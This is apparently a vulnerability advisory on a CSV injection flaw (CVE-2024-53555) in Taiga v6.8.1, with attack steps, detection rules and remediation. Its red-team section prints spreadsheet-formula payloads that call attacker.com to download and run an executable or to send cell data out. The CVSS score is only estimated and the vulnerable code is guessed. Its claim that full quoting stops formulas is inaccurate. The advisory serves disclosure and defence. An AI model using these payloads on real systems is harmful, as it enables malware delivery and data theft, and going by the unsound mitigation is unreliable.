CVE-2024-53555

Executive Summary

CVE-2024-53555 is a CSV Injection vulnerability (CWE-1236) identified in Taiga v6.8.1. The vulnerability allows an attacker to execute arbitrary code by uploading a crafted CSV file. When the CSV file is processed or exported, malicious formulas embedded in cells (e.g., starting with =, +, -, @) are interpreted by spreadsheet applications, leading to potential remote code execution or data exfiltration. This attack vector is particularly dangerous in collaborative project management tools like Taiga, where CSV exports are common.

Supply Chain & Package Security

Taiga is a Python/Django-based project management platform. The vulnerability does not directly affect the software supply chain (e.g., NPM, PyPI, Go, Ruby) but impacts the integrity of data processed by the application. No known patches or advisories from OSV or GitHub are available at this time.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of CSV injection, a reasonable assessment is:

• Attack Vector (AV): Network (N) – the attacker uploads a file via the web interface.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs a valid account to upload files.
• User Interaction (UI): Required (R) – victim must open the CSV in a spreadsheet application.
• Scope (S): Changed (C) – impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) – potential data exfiltration.
• Integrity (I): High (H) – arbitrary code execution possible.
• Availability (A): Low (L) – limited impact on availability.

Estimated CVSS Score: 8.0 (High)

Deep Dive & Mechanics

CSV injection exploits the way spreadsheet applications (e.g., Microsoft Excel, LibreOffice Calc) interpret cells starting with special characters. When a CSV file contains a cell beginning with =, +, -, or @, the spreadsheet treats it as a formula. An attacker can craft a CSV cell with a malicious formula, such as:

=CMD|' /C calc'!A0

or

=HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")

In Taiga v6.8.1, the CSV export functionality does not sanitize or escape these special characters. When a user exports project data (e.g., tasks, user stories) to CSV, any malicious payloads previously uploaded as part of the data (e.g., in a task description) will be embedded in the CSV. When the victim opens the CSV in a spreadsheet, the formula executes.

The attack flow:

1. Attacker logs into Taiga and creates a task with a description containing a malicious CSV formula.
2. Victim (e.g., project manager) exports the project data to CSV.
3. Victim opens the CSV in Excel/LibreOffice.
4. The formula executes, potentially downloading malware or exfiltrating data.

Vulnerable vs. Patched Code

Vulnerable Code (Taiga v6.8.1): The CSV export function likely uses Python's csv.writer without sanitizing cell values. Example vulnerable code:

import csv
def export_csv(data):
    with open('export.csv', 'w', newline='') as csvfile:
        writer = csv.writer(csvfile)
        for row in data:
            writer.writerow(row)  # No sanitization

Patched Code (Hypothetical): A patch would sanitize cell values by prefixing them with a single quote or tab to prevent formula interpretation:

import csv
def sanitize_cell(value):
    if value and value[0] in ('=', '+', '-', '@'):
        value = "'" + value
    return value

def export_csv(data):
    with open('export.csv', 'w', newline='') as csvfile:
        writer = csv.writer(csvfile)
        for row in data:
            sanitized_row = [sanitize_cell(cell) for cell in row]
            writer.writerow(sanitized_row)

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid Taiga account with permission to create tasks.
• Target user who exports CSV data.

Exploit Steps:

1. Log in to Taiga.
2. Create a new task with a description containing a malicious formula. Example payload:

   =CMD|' /C powershell -Command "Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile %TEMP%\evil.exe; Start-Process %TEMP%\evil.exe"'!A0
   

3. Wait for the victim to export the project to CSV and open it in Excel.
4. The formula executes, downloading and running the payload.

Alternative Payload (Data Exfiltration):

=HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")

Blue Team

Detection:

• Monitor for unusual CSV file downloads from Taiga.
• Inspect CSV files for cells starting with =, +, -, @.
• Use endpoint detection to monitor spreadsheet applications for suspicious child processes (e.g., cmd.exe, powershell.exe).

Prevention:

• Implement input validation to reject or sanitize special characters in user input.
• Use a CSV library that automatically escapes formulas (e.g., csv.writer with quoting=csv.QUOTE_ALL).
• Educate users to open CSV files in a text editor first, or use Excel's "Open and Repair" feature.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from spreadsheet applications.
• File: CSV files containing cells starting with =, +, -, @.
• Process: Spreadsheet application spawning cmd.exe, powershell.exe, or wscript.exe.
• Registry (Windows): Changes to startup folders or scheduled tasks created by the payload.

Detection Engineering

YARA Rule

rule CSV_Injection_Taiga_CVE_2024_53555 {
    meta:
        description = "Detects CSV files with potential injection payloads targeting Taiga"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53555"
    strings:
        $formula1 = "=" ascii wide nocase
        $formula2 = "+" ascii wide nocase
        $formula3 = "-" ascii wide nocase
        $formula4 = "@" ascii wide nocase
        $cmd = "CMD|" ascii wide nocase
        $powershell = "powershell" ascii wide nocase
        $hyper = "HYPERLINK" ascii wide nocase
    condition:
        (any of ($formula*) and any of ($cmd, $powershell, $hyper)) and filesize < 10MB
}

Sigma Rule

title: CSV Injection via Taiga Export
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects spreadsheet applications executing commands from CSV files exported from Taiga
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-53555
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - 'EXCEL.EXE'
            - 'CALC.EXE'
        Image|endswith:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'wscript.exe'
    condition: selection
falsepositives:
    - Legitimate use of formulas in CSV files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53555 Taiga CSV Injection - Potential Data Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?data="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable CSV export functionality in Taiga until a patch is applied.
2. Short-term: Implement input sanitization to escape special characters (=, +, -, @) in all user-generated content that may be exported to CSV.
3. Long-term: Upgrade to a patched version of Taiga once available. Monitor official Taiga repositories for updates.
4. User Education: Train users to open CSV files in a text editor or use Excel's "Open and Repair" feature to disable DDE/auto-execution.
5. Network Controls: Block outbound connections from spreadsheet applications to untrusted domains.

Valters IT